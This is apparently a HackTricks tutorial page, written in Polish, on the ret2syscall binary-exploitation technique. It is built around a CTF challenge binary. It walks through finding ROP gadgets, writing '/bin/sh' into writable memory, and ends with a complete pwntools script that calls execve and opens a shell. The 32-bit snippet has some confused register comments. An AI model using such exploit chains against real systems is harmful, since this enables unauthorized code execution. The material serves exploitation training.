186 lines
6.2 KiB
Markdown

# Ret2syscall
{{#include ../../../banners/hacktricks-training.md}}
## Podstawowe informacje
To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscall `sys_execve` z pewnymi argumentami, aby wykonać `/bin/sh`. Technika ta jest zazwyczaj stosowana w binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
Aby przygotować wywołanie dla **syscall**, potrzebna jest następująca konfiguracja:
- `rax: 59 Wskazuje sys_execve`
- `rdi: wskaźnik do "/bin/sh" wskazuje plik do wykonania`
- `rsi: 0 wskazuje brak przekazanych argumentów`
- `rdx: 0 wskazuje brak przekazanych zmiennych środowiskowych`
Tak więc, zasadniczo trzeba napisać ciąg `/bin/sh` gdzieś, a następnie wykonać `syscall` (biorąc pod uwagę potrzebne wypełnienie do kontrolowania stosu). W tym celu potrzebujemy gadżetu, aby zapisać `/bin/sh` w znanym obszarze.
> [!TIP]
> Innym interesującym syscall do wywołania jest **`mprotect`**, który pozwoliłby atakującemu na **zmodyfikowanie uprawnień strony w pamięci**. Można to połączyć z [ret2shellcode](stack-shellcode.md).
## Gadżety rejestrów
Zacznijmy od znalezienia **jak kontrolować te rejestry**:
```c
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Z tymi adresami możliwe jest **zapisanie zawartości na stosie i załadowanie jej do rejestrów**.
## Zapisz ciąg
### Pamięć do zapisu
Najpierw musisz znaleźć miejsce do zapisu w pamięci.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Zapisz ciąg w pamięci
Następnie musisz znaleźć sposób na zapisanie dowolnej treści pod tym adresem.
```bash
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatyzacja łańcucha ROP
Poniższe polecenie tworzy pełny łańcuch `sys_execve` ROP dla statycznego binarnego pliku, gdy dostępne są gadżety write-what-where oraz instrukcje syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bity
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bity
```python
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Brak Gadżetów
Jeśli **brakuje gadżetów**, na przykład do zapisania `/bin/sh` w pamięci, możesz użyć **techniki SROP, aby kontrolować wszystkie wartości rejestrów** (w tym RIP i rejestry parametrów) ze stosu:
{{#ref}}
srop-sigreturn-oriented-programming.md
{{#endref}}
Mogą istnieć gadżety w regionie vDSO, który jest używany do przechodzenia z trybu użytkownika do trybu jądra. W tego typu wyzwaniach zazwyczaj dostarczany jest obraz jądra do zrzutu regionu vDSO.
## Przykład Eksploitu
```python
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
```
## Inne przykłady i odniesienia
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam. W celu zapisania na stosie nadużywana jest funkcja wykonująca operacje matematyczne.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i przeskocz tam.
- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
- 32 bity, brak ASLR, użyj vDSO do znalezienia gadżetów ROP i wywołania `execve`.
{{#include ../../../banners/hacktricks-training.md}}